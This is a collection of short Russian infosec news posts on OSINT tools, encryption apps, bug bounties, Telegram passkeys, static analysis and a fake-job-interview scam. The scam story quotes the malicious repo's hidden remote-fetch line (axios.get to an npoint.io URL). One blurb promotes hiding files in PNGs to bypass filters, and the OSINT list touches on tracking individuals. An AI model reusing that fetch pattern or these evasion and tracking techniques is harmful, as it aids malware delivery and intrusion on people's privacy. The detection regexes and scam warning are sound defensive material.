Информационная безопасность *

Обновлена открытая база по 500+ ИБ-сервисам Awesome OSINT For Everything, включая:

• базовую сетевую разведку, чтобы собрать «скелет» цели — домены, почты, имена, поддомены, URL;

• метапоисковики и поиск по специфическим типам данных — кэши, PGP-ключи, публичные бакеты, прямые ссылки и подобное;

• кастомные поисковые движки;

• поиск и контроль утечек любых данных — понять, светились ли email/телефон/учетки в открытых базах, найти следы компрометации;

• просмотр истории владения доменом. Поиск всех доменов, связанных с конкретным человеком;

• проверка URL на вредоносы, пробив репутации ресурса;

• поиск по открытым датасетам, реестрам или санкционным спискам;

• детальный поиск по кусочкам кода в любом репозитории и в сети;

• гео-поиск с визуализацией на карте;

• радио/сканеры и Wi-Fi-картография — можно пробить человека в сети и по использованию оборудования;

• распознавание и анализ автомобильного номера, VIN-номера, а также передвижений машин;

• поиск следов криптоплатежей из открытых источников;

• поиск по базам судов, реестрам, зарплатным базам, FOIA-ресурсам, публичным архивы на предмет утечек.

В проектах, где участвуют десятки продуктов и команд, есть внешние системы и сложная среда заказчика с множеством ограничений, особенно важно выстроить работу так, чтобы решение оставалось связным и реализуемым на всех уровнях.

Антон, архитектор решений в Naumen, поделился методологией, которая помогает учитывать ограничения среды заказчика и последовательно проходить путь от бизнес‑целей до инфраструктуры.

С чего начинается работа

В сложных проектах я всегда начинаю с верхнего уровня — с бизнес‑целей. На их основе формируются понятные бизнес‑задачи, процессы и процедуры.

Только после этого можно спускаться на следующий уровень и прорабатывать, какими функциями каких систем эти задачи будут реализованы.

Когда задачи и функции определены, я перехожу к тому, как несколько систем должны взаимодействовать между собой при решении задач.

Почему ИБ — отдельный слой

Аспекты информационной безопасности я всегда выделяю в отдельный шаг. Требования ИБ часто оказывают значительное влияние на архитектуру, а проработка этого уровня требует специфической квалификации исполнителя.

Если не учесть эти требования заранее, решение может оказаться нереализуемым в среде заказчика.

Как быть с инфраструктурой

После логики и ИБ я перехожу к вопросам инфраструктуры, на которой все будет работать: от системного ПО, такого как СУБД или ОС, до железа. Важно убедиться, что технические ограничения не делают решения, принятые на верхних уровнях, нежизнеспособными.

Почему важно пройти путь обратно наверх

Когда все уровни проработаны, я иду в обратном направлении — снизу вверх. Это помогает убедиться, что:

• ограничения нижних уровней не противоречат решениям, принятым наверху;

• исходные бизнес-задачи по‑прежнему решаются.

Нередко при такой проверке становится видно, что ограничения более низкого уровня не позволяют реализовать решение, которое казалось корректным на верхнем уровне. В этом случае я корректирую решение на более высоком уровне и повторяю путь вниз, а затем снова поднимаюсь наверх.

Если в финале все бизнес‑задачи по‑прежнему решаются — мы пришли к рабочему варианту архитектуры.

Что помогает сохранять связь между уровнями

На каждом этапе меня очень выручает трассировка требований. Она позволяет видеть, где именно реализуется каждая бизнес-задача, какие системы в нее вовлечены и как изменения на одном уровне влияют на другие. Без этого легко потерять связь, особенно если в проекте много команд и подсистем.

Вышло новое интервью на Русском (https://www.youtube.com/watch?app=desktop&v=BBL-IFZJGWA) от Романа Ямпольски (один из тех дядек, что твердит об опасности ИИ). Выдает фразы насколько непонятные, что пришлось нейронкой проанализировать смысл его высказываний.

Базовый тезис

Текущая линия развития (в сторону общих моделей и затем сверхинтеллекта) ведёт к ситуации, где долгосрочный контроль невозможен, а значит риск катастрофы становится доминирующим.

Что именно он считает главной угрозой

Не «нынешний чат-бот сам по себе», а переход к AGI, после которого появляется возможность самоускоряющегося улучшения (AI помогает делать следующий AI быстрее, параллельно, эффективнее), что приводит к ASI.

Для ASI он утверждает: мы окажемся в положении «муравьёв» относительно людей — не сможем предсказать, остановить, навязать ограничения.

Как по мне, в его суждениях есть несколько фундаментальных ошибок:

Он безусловно принимает на веру тот тезис, что "AGI будет однозначно враждебен к человечеству".

Как AGI придет к такому заключению, он объяснить не смог. И даже почему-то заезженный пример со скрепками не привел

Он говорит, что "Умный агент при оптимизации целей естественно приходит к инструментальным стратегиям (самосохранение, ресурсы, обман/шантаж как выгодные ходы в теории игр)".

Нет, и нет. Пока что это результаты просто мысленных экспериментов. И даже, если нейронки с чего-то додумают не то, то хватит ли им мозгов довести задачу до конца?

ИИ- это чёрный ящик (в смысле, что человек не понимает, как оно устроено), что уже умнее человека.

Уточнение, что умнее в определенных областях, и не факт, что во всех, которые важны для выживания/уничтожения человека. Калькулятор, смартфон, процессор: в мире найдется всего несколько десятков тысяч человек, которые понимает, как устроен калькулятор. Все, что сложнее, не сможет объяснить ни один человек в мире (имеется ввиду полностью, все детали и механизмы). Но бояться надо именно нейросетей - да...

Такие люди, как Роман Ямпольски нужны, чтобы сохранять трезвость мысли и адекватно оценивать риски. Но доводы его... неубедительны.

Состоялся первый мажорный релиз открытого проекта для шифрования текста и файлов Stirlitz. Программа написана на языке С++ и распространяется под лицензией GPLv3. Приложение адаптировано для работы в операционных системах семейства Linux, Windows и Android. Для пользователей Arch Linux в AUR доступен сценарий сборки пакета. Для пользователей Windows доступен экспериментальный инсталлятор. Для пользователей Android доступен экспериментальный пакет в формате apk.

Основные возможности Stirlitz 1.0:

• Шифрование текста и файлов для передачи через любые каналы публичной связи (мессенджеры, e‑mail сообщения и тому подобное). Шифрование осуществляется на базе публичных ключей (алгоритм Ed25519) и алгоритма шифрования AES256.

• Шифрование файлов для локального хранения. Шифрование осуществляется через задание имени пользователя и пароля с использованием алгоритма AES256.

• Создание шифрованных профилей для хранения ключей, используемых для обмена сообщениями через публичные каналы связи.

• Создание одноразовых профилей: ключи хранятся в защищённой памяти, выделяемой с помощью библиотеки libgcrypt, и уничтожаются после выхода из профиля или закрытия программы.

• Криптографические функции вынесены в отдельную библиотеку stirlitz, которая может быть собрана и использоваться полностью независимо.

• Для библиотеки stirlitz доступна документация в формате html.

Альфа-Банк расширяет Bug Bounty-программу по поиску уязвимостей

Альфа-Банк расширяет публичную Bug Bounty-программу на платформе BI.ZONE Bug Bounty и добавляет новые цифровые сервисы в область тестирования. К проверке в рамках программы становятся доступны следующие цифровые сервисы:

• Альфа-Офис — онлайн-анкета и электронный документооборот для подключения и обслуживания юридических лиц: подача заявок, заполнение анкет и подписание договоров с банком без визита в отделение.

• Альфа-Финанс — веб-система факторинга и финансирования поставок.

• Карьерный сайт — карьерный портал Альфа-Банка и витрина для Digital/IT-команд с вакансиями, описаниями команд, форматов работы и полным путём кандидата от отклика до оффера.

• Alfa People — корпоративный HR-сервис и мобильное/веб-приложение для сотрудников и кандидатов: новости, внутренние сервисы, работа с оффером, ввод персональных данных и загрузка документов при трудоустройстве.

• BaaS (Banking-as-a-Service) и Alfa API — платформа открытых API Альфа-Банка, которая помогает бизнесу и партнёрам встраивать банковские возможности в свои продукты: от платежей и счетов до кредитных сценариев и других финансовых функций.

Подробный список целей, технические детали по каждому сервису, а также актуальные правила и размеры вознаграждений доступны в описании публичной баг баунти программы Альфа-Банка на платформе BI.ZONE Bug Bounty. 

Размер выплат зависит от критичности обнаруженной уязвимости и может достигать 1 000 000 рублей.

Bug Bounty – это публичная программа поиска уязвимостей, запущенная для того, чтобы сделать процесс тестирования безопасности максимально прозрачным и эффективным, что делает продукты Альфы надёжнее и защищеннее. Команда по кибербезопасности совместно с сообществом исследователей выявляет и устраняет потенциальные уязвимости до того, как ими смогут воспользоваться злоумышленники.

Чтобы присоединиться к программе, достаточно зарегистрироваться или авторизоваться на платформе, выбрать программу Альфа-Банка, ознакомиться с правилами и областью тестирования и направить отчёт через платформу.

Разработчики из РФ замучили мошенника, заставив его проходить бесконечную капчу. Скамер притворился главой одной российской компании и писал на английском. Сотрудники компании должны были отсканировать подарочные сертификаты на его сайте на 1500 евро. Оказалось, в эту игру можно играть вдвоём. Разрабочтики сделали вид, что поверили обманщику и скинули ему ссылку на файлообменник, состряпанный на скорую руку. Идея которого заключалась в бесконечной капче. Бедолага пытался пройти её 1,5 часа, но ничего не выходило. А разработчики добавили ещё и верификацию по видел, которую скамер тоже начал проходить.

Представлен открытый защищённый менеджер паролей PearPass, который хранит ключи на локально и не передаёт их в облако. Синхронизация между устройствами пользователя происходит через зашифрованное соединение. Есть встроенный генератор надёжных паролей. Приложение также проверяет слабые пароли.

Юрист по ИБ ГК InfoWatch Илья Башкиров выступил на юридической конференции Ассоциации банков России. Тема — «Тренды развития отечественного банковского права».

Наш эксперт выступил на круглом столе «Цифровой щит банковского права: антифрод и персональные данные», где обсуждали вопрос уголовной ответственности за неправомерное обращение с персональными данными и влияние законодательства о противодействии мошенничеству на обработку ПДн.

Илья Башкиров отметил, что новый состав преступления не меняет общих принципов российского права ­— преступление требует вины и умысла, а он отсутствует у ИБ‑сотрудников.

«Безопасность нередко служит безграничным оправданием для агрессивного сбора данных — в том числе «про запас». Обеспечение безопасности действительно требует сбора данных для статистики, прогнозирования и моделирования — в том числе от легитимных пользователей. Здесь важно, чтобы собранные данные использовались строго по назначению, а не для маркетинга или иного профилирования. Необходимо также устанавливать разумные пределы по типам и объемам собираемых данных».

Катаемся по полям в поисках потенциальных уязвимостей

Мы продолжаем писать про то, как развивается наш механизм анализа помеченных данных в Java анализаторе PVS-Studio. В новой статье вы сможете узнать, как мы учитывали поток данных, проходящий через поля, чтобы научиться искать более неочевидные потенциальные уязвимости.

Эта статья является логическим продолжением нашего цикла про поиск потенциальных уязвимостей в исходном коде ПО. В случае, если вам интересно, с предыдущими частями можно ознакомиться здесь:

1. Поиск потенциальных уязвимостей в коде, часть 1: теория.

2. Поиск потенциальных уязвимостей в коде, часть 2: практика.

Тема поиска возможных уязвимостей и инъекций в исходном коде достаточно сложная, но интересная. И мы продолжаем делиться с вами тем, как решаем проблемы, которые возникают у нас по ходу внедрения новых фич и улучшения существующих механизмов в нашем анализаторе. Если вам такое интересно, обязательно подписывайтесь на наш блог.

Находим зловреды в любых файлах. Представлен открытый проект для анализа статического вредоносного ПО Qu1cksc0pe. Решение умеет анализировать исполняемые файлы, показывать, какие DLL файлы используются, видит все функции и API, разделы и сегменты, URL-адреса, IP-адреса, электронные письма, считает разрешения на Android, расширения и имена файлов. Проект сканирует документы: Word, Excel, HTML, Portable, OneNote, а также находит вирусы в файлах архивов ZIP, RAR и ACE.

Шифруем любой файл в PNG-картинку. Представлен открытый проект дешифратора ShadeofColor. Возможности: обход фильтров и блокировок (вместе .exe, .zip или .docx присылаем обычные изображение), незаметная передача файлов (PNG не вызывает подозрений), удобная архивация для визуальной сортировки, предпросмотра и каталогов. Это наглядный пример, как можно кодировать данные в цвета.

Открытый проект All In One USB Drive содержит необходимые ISO-образы для восстановления компьютерной системы на ПК, включая установщики ОС, драйверы и все необходимые полезные сервисы для воскрешения системы и нормальной работы, а также инструкции ко всем сервисам.

Эта работа описывает методику отслеживания непреднамеренного наследования паттернов между последовательными версиями языковых моделей.

Проверяем гипотезу, что при обучении новых моделей на предыдущих версиях (распространённая практика ради эффективности) они наследуют не только явные знания, но и «способы мышления», которые ускользают от привычных фильтров и процедур оценки.

Основные элементы:

Двухконтурный анализ

• Внутренний: сравнение геометрии представлений по cosine similarity и Centered Kernel Alignment (CKA) в выровненных пространствах признаков.

• Внешний: оценка переноса фиксированной классификационной «головы» (логистическая регрессия), обученной на одной версии и применённой к другой без дообучения.

Обнаружение событий

• O-TRACE: многомасштабное EMA + ζ-ядро для фиксации согласованных колебаний метрик.

• Импульсы: пороговая детекция резких падений в Δcos и ΔCKA.

Эксперименты на реальных моделях

• Эволюция семейства GPT-2: distilgpt2 → gpt2 → gpt2-medium.

• Переход между архитектурами: GPT-2 → DeepSeek-Coder-1.3B.

• Датасет: SST-2 (анализ тональности).

Ключевые выводы

• Геометрические сдвиги (падения CKA) могут быть значительными, даже когда cosine similarity остаётся высокой.

• Перенос фиксированных «голов» часто сохраняется при смене архитектуры.

• Самые сильные импульсы наблюдаются на межархитектурных переходах.

• «Стиль» и «смысл» могут расходиться независимо в процессе эволюции.

Эволюция моделей включает не только плановые улучшения, но и неконтролируемый перенос паттернов. Это важно для безопасности ИИ: модели могут наследовать и усиливать нежелательные предвзятости и формы поведения, обходящие стандартные фильтры.

Структура (3 папки):

• docs/ — два PDF с полным текстом на русском и английском.

• code/ — code_real_GPT2family.txt: одна ячейка для Colab. Загружает SST-2, извлекает признаки (mean-pool last_hidden_state), выравнивает размерности методом Procrustes, считает cosine/CKA и перенос логистической «головы», сохраняет отчёты (CSV, JSON, TXT).

Код и полный файл с объяснением методологии (на русском) доступны по

ссылке: https://zenodo.org/records/17926666

Прошли аттестацию высшего уровня защиты данных УЗ-1 🛡

Официально подтвердили максимальный уровень защищенности нашей инфраструктуры.

Теперь вы можете размещать медицинские системы и работать с любыми специальными категориями данных (здоровье, биометрия).

➖ Локации: Москва, Санкт-Петербург, Новосибирск
➖ Защита: аппаратные межсетевые экраны, IDS/IPS, сканирование уязвимостей, контроль целостности среды виртуализации

Ссылка на документы →

Заблокировали карту или счет по 161-ФЗ? Инструкция по снятию блокировки.

Продолжаем тему ограничения банковских операций.

В этом посте я рассказала об основаниях таких ограничений и блокировки.

Теперь разберем первый и один из самых частых сценариев: блокировка из-за подозрений банка в мошенничестве.

Как банк определяет «подозрительную» операцию?

Банк обязан проверять все переводы клиентов на специальные признаки, утвержденные Банком России.

Если операция попадает под хотя бы один из них, банк обязан на 2 дня приостановить перевод денег или отказать клиенту в совершении операции.

Вот ключевые признаки:

⦁ Реквизиты получателя есть в «чёрном списке» ЦБ (базе данных о мошеннических переводах).
⦁ Нетипичная для вас операция: необычно крупная сумма, странное время или место совершения.
⦁ Использование устройства (телефона, компьютера), с которого ранее пытались совершить мошеннический перевод.
⦁ Получатель фигурирует в внутренней базе подозрительных контрагентов вашего банка.
⦁ В отношении получателя возбуждено уголовное дело за мошенничество.
⦁ Поступила информация от сторонних сервисов (например, о всплеске подозрительных звонков или СМС на ваш номер).

Как подтвердить операцию?

У вас есть два варианта:

1. Дать согласие на приостановленный перевод (в течение следующего дня).

2. Совершить ту же операцию повторно.

Если вы это сделаете, банк обязан выполнить платёж.

Исключение: если получатель числится в «чёрном списке» ЦБ.

В этом случае банк может приостановить перевод на 2 дня (период охлаждения), либо приостановить использование банковской карты, онлайн-банкинга.

Это происходит, если ваши собственные реквизиты или данные попали в базу ЦБ.

В этом случае необходимо:

• Подать заявление об исключении из базы данных ЦБ.

Это можно сделать двумя способами:

⦁ Через любой ваш банк. Банк обязан перенаправить ваше заявление в Банк России не позднее следующего рабочего дня.
⦁ Напрямую в Банк России через интернет-приемную на его сайте, выбрав тему «Информационная безопасность».

Ждать ответа. Банк России обязан рассмотреть ваше заявление и дать ответ в течение 15 рабочих дней с момента получения.

Важно! Если ЦБ откажет в исключении, в ответе будут указаны банки, направившие информацию в ЦБ.

Вам нужно обратиться к ним, чтобы выяснить конкретные причины и способы устранения проблемы.

Отказ Банка России можно обжаловать в суде.

Сервисы, которые позволяют проверить приватность в браузере и выявить утечки личных данных:

• Browserleaks: подскажет, какие данные ваш браузер раскрывает другим сайтам;

• CreepJS: оценивает, сколько технической информации ваш девайс отдаёт в фоне;

• FingerprintJS: демонстрирует, насколько уникален ваш цифровой отпечаток;

• Cover Your Tracks: быстрый тест, который показывает, насколько легко вас идентифицировать;

• WebBrowserTools: набор простых тестов для оценки приватности и безопасности в браузере.

Зовем на огонёк!

Привет, Хабр!

18 декабря в 11:00 вместе с Алексеем Дроздом aka @labyrinth начальником отдела безопасности «СёрчИнформ», мы будем провожать 2025 год. Присоединяйтесь!

В неформальной обстановке поделимся вредными ИБ-советами, забавными случаями из практики и просто побеседуем о жизни нашей в ИБ. В программе никакого официоза, только хорошее настроение, (не)много шампанского и нешуточные истории.

Зарегистрироваться можно по ссылке, а смотреть, нарезая оливье.

Краткий курс по выявлению уязвимостей

Как выглядит веб-приложение глазами атакующего, какие дыры в безопасности встречаются чаще всего и что с этим делать на практике? В статье «Основы безопасности веб-приложений: краткий «курс» по выявлению уязвимостей» наш AppSec BP собрал небольшое обучение по основам безопасности веб-приложений — от базового понимания архитектуры до превентивного выявления уязвимостей.​

Разбираем, где именно в типичном веб-стеке возникают риски, как связаны между собой классы уязвимостей из OWASP Top 10 и что разработчикам, тестировщикам и безопасникам нужно проверять в первую очередь. Материал не ограничивается теорией: показан практический подход к поиску багов, типичные ошибки при настройке доступа, аутентификации, логирования и работы с внешними компонентами.​

Статья будет полезна backend и frontend разработчикам, тимлидам, DevOps-инженерам и начинающим AppSec-специалистам, которые хотят выстроить базовое «мышление безопасностью» и научиться видеть приложение так, как его видит злоумышленник.

Ключевые элементы киберустойчивости

Директор дирекции кибербезопасности ОТП Банка Антон Замараев выступил на сессии «Киберустойчивость как новая стратегическая метрика бизнеса» в рамках Киберсъезда 2025, прошедшего в Кибердоме в Москве. Он рассказал о состоянии киберустойчивости сегодня и поделился взглядом на будущее, в котором компании объединяют усилия, чтобы быстрее и эффективнее противостоять угрозам. Делимся основными мыслями.

1. Киберустойчивость — это не попытка избежать атак, которые все равно произойдут. Это способность максимально быстро устранить возникшую угрозу и восстановить работу сервисов. «Мы не можем полностью заблокировать работу сервисов или ограничить текущий процесс, бизнес должен работать всегда. Поэтому наша задача — встроить такие механизмы безопасности, которые позволяют обнаруживать и устранять угрозы без вреда для бизнеса», — сказал Антон.

2. В ОТП Банке процессы выстроены так, чтобы разработчики и devops-команды могли самостоятельно замечать и исправлять уязвимости. Это снижает нагрузку на профильных специалистов и ускоряет работу. При этом важной частью системы становится оперативный мониторинг: контроль нужен не только внутри инфраструктуры, но и на внешних сервисах, в том числе в клиентских зонах.

3. Сейчас ключевым элементом киберустойчивости становится регулярное тестирование негативных сценариев: «Важно понимать, из чего состоят процессы, какие системы за ними стоят и в какой последовательности нужно их восстанавливать. Это позволяет командам уверенно действовать даже в непривычных ситуациях».

4. Технологический горизонт: квантовые вычисления в ближайшие годы могут поставить под угрозу привычные методы шифрования. Подготовка к переходу на криптографию нового поколения — вызов, который весь рынок еще только начинает осознавать.

5. Завершая выступление, Антон сформулировал идею, которую назвал своей профессиональной мечтой: создание добровольной системы коллективной кибербезопасности. По его словам, компании могли бы передавать друг другу не формальные отчеты, а реальный опыт — как победили конкретную угрозу, какие методы сработали, какие нет. Такой обмен, считает он, сделал бы рынок заметно устойчивее.

«Каждая компания проходит один и тот же путь: сталкивается с похожими угрозами, решает похожие задачи. Если бы мы начали добровольно делиться экспертизой, мы бы все стали защищеннее и быстрее реагировали на новые вызовы», — отметил Антон Замараев.

В Telegram заработала система входа в аккаунт через Passkey, но только для российских номеров телефона. Ключевое преимущество Passkeys — возможность войти в аккаунт в одно касание, не вводя номер телефона и одноразовый код.

Как создать ключ:

• Убедитесь, что у вас последняя версия мессенджера (Android — 12.2.10; iOS — 12.2.3).

• Как и вход по почте, новую функцию нужно предварительно настроить. Для этого откройте Настройки › Конфиденциальность › Ключи доступа.

• Если пункт «Ключи доступа» отсутствует, то эта опция недоступна для вашего аккаунта. На текущий момент Passkeys доступны только для аккаунтов, к которым привязан российский номер.

• Нажмите «Добавить ключ доступа» и подтвердите его создание.

• Устройство может запросить код экрана блокировки или биометрию, чтобы разблокировать хранилище ключей.

• Созданный ключ появится в списке.

Как войти с помощью ключа:

• На актуальной версии Telegram для Android или iOS приложение автоматически предложит выбрать ключ доступа для входа.

• Если это не происходит, через несколько секунд под заголовком «Номер телефона» появится ссылка «используйте ключ доступа», на которую следует нажать.

• Нажатие на кнопку запустит ваш менеджер паролей, который предложит выбрать ключ, проверит вашу личность по лицу, отпечатку пальца либо PIN-коду экрана блокировки, а затем передаст выбранный ключ мессенджеру.

• Ключ доступа выполняет функции как номера телефона, так и одноразового кода подтверждения одновременно.

• Если вы включили двухфакторную авторизацию для аккаунта, вам потребуется ввести свой облачный пароль, который вы задали самостоятельно.

В Telegram появилась опция авторизации через ключи доступа. Новая функция для Android и iOS под названием Passkey позволит входить в аккаунт без дополнительных подтверждений в виде СМС-кодов и паролей. Активировать ключи доступа можно в разделе «Конфиденциальность». Чтобы подключить функцию, нужно создать ключ и подтвердить личность с помощью сканирования лица (Face ID), отпечатка пальца (Touch ID) или код-пароля. Созданный Passkey будет храниться на устройстве. Функция поможет обойти ограничения при регистрации в мессенджере.

CWE-295. А Вы точно выясняете все способы отключения SSL-проверок в коде?

CWE-295 — неправильная проверка сертификата, включая игнорирование ошибок цепочки доверия. Близкие CWE: CWE-296 (Improper Certificate Validation in TLS) и CWE-297 (Improper Hostname Verification).

Делюсь с Вами очередной версией 2-х мегарегулярок для выявления всех когда-либо встретившихся мне способов отключения проверки цепочки сертификатов либо удаленного хоста.

Давайте проверим насколько хорошо Вы контролируете внешние взаимодействия Вашего кода со сторонними приложениями при помощи SAST/линтеров.

Не важно о чем код: запуск удаленной команды на Power Shell, запуск cURL, запуск Node.js и т.д. Если в Вашем коде имеется обращение к стороннему ресурсу, вполне вероятно, хотя бы какая-нибудь строка вызова составлена небезопасно, коробочные правила используемых Вами SAST не могут покрыть все кейсы, особенно, в неподдерживаемом файле.

Сами регулярные выражения для проверки Вашего кода:

{
"r1": "(?i)((ssl|session)[.]{0,1}verify[: -_\"'=]{1,6}false['\"\\]{0,3}|^ *ssl *[: -_\"'=]{1,6} *false|disableTLS['\": ]{2,4}true|requests.get(.*verify[ ]{0,5}= *False.*)|verify=False|requireSSL *}= *('|\")false('|\")|-(SkipCACheck|SkipCNCheck|SkipRevocationCheck))"
}

(?i)(-allowUntrusted[ \"\']{0,3}=[ \"\']{0,3}true|tls(\.|)Enabled[ ]{0,3}(=|:)[ ]{0,3}false|strict-ssl false|strict-ssl[ ]{1,3}=[ ]{1,3}false|--insecure-skip-tls-verify|--skip-tls-verify|--(insecure|allow(|-)untrusted)( |\r?$)|--insecure-registry|http\.ssl\.(insecure|ignore\.validity\.dates)[ \"\']{0,3}=[ \"\']{0,3}(1|true)[ \"\']{0,1}|<AllowUntrustedCertificate>[ ]{0,2}True[ ]{0,2}<\/AllowUntrustedCertificate>|(skipCertCheck|sslmode|allow(-|)Untrusted(|Certificate)|NODE_TLS_REJECT_UNAUTHORIZED)[ \"\']{0,3}(:|=)[ \"\']{0,3}(0|true|disable)[ \"\']{0,1}|--no-check-certificate https:\/\/|urllib3\.disable_warnings|--[ ]{1,3}disable-tls[ ]{1,3}true|--[ ]{1,3}secure-http[ ]{1,3}false|connection\.ssl\.enabled:[ ]{0,3}("|)false("|)|ssl-errors[ ]{0,3}(=|:)[ ]{0,3}true|rejectUnauthorized(|:).*false|TrustServerCertificate *= *False|isAllowInsecureProtocol *= *true|--use_tls *= *false|('|")use_tls('|"), *false|isAllowInsecureProtocol *= *true|NODE_TLS_REJECT_UNAUTHORIZED:? *\n?\r? *value: *("|'|)0("|'|)|tls: *\n?\r?(.*#.*\n?\r?)? *enabled: *("|'|)false("|'|)|Verify-Peer *("|'|=|)false|http\.ssl\.allowall[ \"\']{0,3}=[ \"\']{0,3}(0|false)[ \"\']{0,1}|--disable-host-check|ENABLE_TLS *(:|=) *false|"insecureTls": *("|'|)true("|'|)|((Enable|use)SSl("|'|) *(:|=) *(false|0))|"tlsConfigurationType": "(?!require).*"|host_key_checking *= *False|ANSIBLE_GALAXY_IGNORE *= *(yes|true)|ignore_certs *= *(yes|true)|\s+tls:\s*false|\s+ssl:(\s*enabled:)? *false)

На случай, если длинные строки поломаны блоком кода (ели вставил в пост):

1. https://regex101.com/r/7iJCxw/1

2. https://regex101.com/r/SGOz1L/1

Если регулярки не покрыли все известные Вам кейсы или наоборот действительно помогли, добро пожаловать в комментарии.

Как я чуть не прошёл собеседование у «миллиардера» из Alchemy

Утро начиналось, как обычно — кофе, почта, LinkedIn.
И тут сообщение в linkedin:

«Здравствуйте! Мы хотим пригласить вас на позицию менеджера высшего звена в Alchemy!»

Листаю ниже — и кто, вы думаете, будет меня собеседовать? Сам Joseph Lau, вот его профиль.
Ну думаю, шутки в сторону. Миллиардер, всё серьёзно.

Назначаем митинг. У него всего одно свободное время — 9:30 утра по Лос-Анджелесу.
У богатых свои причуды. Я киваю в монитор: ладно, сыграем по-крупному.

Включаю режим «серьёзного специалиста»:
повторяю управление проектами, техстеки, quick refresh по Kafka — вдруг неожиданно спросят.
Даже откопал старые FIX-скрипты, которыми когда-то биржи Ближнего Востока подключал.

Волнуюсь, завариваю чай, сижу жду.
9:26. Google Meet пишет: «Ваш собеседник онлайн».

Подключаюсь — и вместо ожидаемого азиатского миллиардера вижу индуса. Сидит, улыбается в камеру. Глуповато.

Ну ладно, думаю, и Сатья Наделла индус. Бывает.

Парень оживляется, начинает интервью с комплиментов:

«Вы такой редкий специалист, мы давно искали именно вас!»

Я чуть растаял. Но быстро вернул фокус, когда он спросил, сколько я хочу зарабатывать.
Называю сумму. Он — ни моргнуть глазом:
— Отлично! Проверим ваши технические навыки.

Через секунду — ссылка на репозиторий:
👉 Bitbucket: alchemy-lab/p12-alchemy-mvp

«Посмотрите проект», — говорит.

Открываю. Пять абзацев, ноль смысла.
Пишу ему, что "документация" больше похожа на шутку.
Он улыбается — и бац, камера отвалилась.

— Простите, интернет плохой. Вы тоже выключите.

Думаю: ага, плохой интернет в Америке — классика.
Даже стало гордо за моего провайдера который даст фору всей Силиконовой долине.

Ладно.
Он предлагает запустить проект «вместе». Я не против.
Не стесняясь расшаренного экрана, открываю ChatGPT и прошу сгенерировать docker-compose.yml и Dockerfile для Next.js.

Он напрягся:
— Что вы делаете?
Я ему спокойно:
— Запускаю незнакомую дрянь в изолированной песочнице. Без лишних сюрпризов.

Через минуту проект крутится. Он смотрит, кивает, говорит:

«С вами обязательно свяжутся!» — и отключается.

Сижу, смотрю на экран. Что-то не даёт покоя.
Открываю код, бегло ищу глазами — и вот он, красавец:

const response = await axios.get('https://api.npoint.io/43c98e897c8540091987')

И тут всё стало на свои места.
Мой покойный нигерийский дядя с миллионами в банке воскрес — и решил поиграть в стартапера из Alchemy.

Дальше копать неинтересно.
Скучные жулики — даже без фантазии.

💡 Вывод:
Никогда не запускайте на своём компьютере никакой код — даже если вам прислали его «от имени Microsoft», Google или Alchemy.
Пока нет подписанного контракта и корпоративного ноутбука, — никаких экспериментов.

Берегите себя.
И помните народную мудрость:

Если красавица на х:% бросается — будь осторожен, триппер возможен.

P.S.
Да, всё это реально случилось.
А история про индуса — просто напоминание, что даже айтишная ловушка может начинаться с вежливого письма и золотого LinkedIn-профиля.

Как внедрить ИИ в разработку и подружиться с безопасниками

ИИ-инструменты в разработке стали классикой. Но чем активнее команды используют ИИ, тем острее стоят вопросы безопасности. Об этом говорят гораздо реже, чем о новых моделях — хотя именно она определяет, выкатите ли вы фичу спокойно или поднимите команду в 3 ночи поднимать упавший сервер.

Чтобы разобраться, как это работает в реальных процессах, мы собрали за одним столом лидеров из Сбера, Positive Technologies, RuStore и Ozon FinTech. Эксперты поделились практиками, ошибками, риск-моделями и объяснили, почему безопасность — это не тормоз, а часть архитектуры внедрения ИИ.

Теперь запись доступна на YouTube. Вы узнаете:

• Как защищать чувствительные данные, не превращая компанию в «закрытый контур». Какие подходы позволяют внедрять ИИ-инструменты в средах, где малейшая утечка — критический инцидент.

• Три ключевых AI-риска, про которые редко говорят вендоры. Злоупотребление моделями, небезопасный код, сгенерированный без проверки, и ИИ-агенты с доступами ко всему — эксперты поделятся кейсами.

• Как меняется соотношение безопасности и скорости при масштабировании. Почему крупные компании осторожнее, чем стартапы, и как учитывать репутационные и финансовые риски при внедрении автоматизации.

• Что делать, если ИИ сгенерировал уязвимый код, и это привело к взлому системы. Где проходит реальная граница ответственности между разработкой, безопасностью и инструментами.

• К чему готовиться в части регулирования. Почему регулирование ИИ будет идти по пути любых инженерных технологий, что происходит в Китае, и какие требования появятся первыми.

• Как безопасники и разработчики приходят к партнёрству.
  Почему зрелые команды кибербеза не тормозят внедрение технологий, а помогают строить безопасный процесс — и почему к 2026 году в компаниях появятся команды, частично состоящие из ИИ-агентов.

Спикеры:

• Сергей Марков — Директор по развитию технологий ИИ, Сбер.

• Светлана Газизова — Директор по построению процессов безопасной разработки, Positive Technologies.

• Александр Толмачев — ex-CDO Ozon FinTech, преподаватель Сколково и ВШЭ.

• Сергей Кузнецов — Руководитель команды мобильной инфраструктуры, RuStore.

«Большинство серьёзных инцидентов происходит не из-за ИИ, а из-за плохо выстроенных процессов вокруг него. Агент с лишними правами доступа может привести к краху всего.»

— Сергей Марков, директор по развитию технологий ИИ, Сбер.

Смотрите полную запись круглого стола на YouTube — если вы внедряете ИИ, работаете с чувствительными данными или хотите адаптировать SDLC под новые риски.

Коллега обнаружил забавный момент, который идёт в копилку "PVS-Studio — двигатель прогресса".

Слышали ли вы про то, что злобные C и C++ компиляторы могут удалить вызов memset в конце функции во время оптимизаций? У нас даже про это есть диагностика V597.

Это давно известная, но при этом живучая потенциальная уязвимость CWE-14: Compiler Removal of Code to Clear Buffers. В следующем коде компилятор удалит заполнение памяти нулями (вызов memset), так как после этого буфер не используется. Раз не используется, то заполнение буфера с точки зрения языка C++ не имеет каких-либо наблюдаемых эффектов и, следовательно, является лишим. Т. е. его можно и нужно удалить с целью оптимизации.

void sha1_hmac( unsigned char *key, int keylen,
                unsigned char *input, int ilen,
                unsigned char output[20] )
{
  sha1_context ctx;

  sha1_hmac_starts( &ctx, key, keylen );
  sha1_hmac_update( &ctx, input, ilen );
  sha1_hmac_finish( &ctx, output );

  memset( &ctx, 0, sizeof( sha1_context ) );
}

Код позаимствован из статьи про проверку проекта PPSSPP.

Проблема насущная, и для её решения в стандарт C23 внесли новую функцию memset_explicit, которая теперь обязательна для реализации в стандартной библиотеке вместо memset_s. Так вот, автор предложения (Miguel Ojeda, P1315) в своём документе сослался на нашу диагностику (ссылка N3).

И похоже, что он давно про нас знает, т. к. умудрился вставить ссылку ещё аж на старый сайт viva64.

Не зря столько лет говорим про memset. Приятно, что нас уже в proposal-ы затаскивают :)

Программа вебинаров на декабрь 🎧

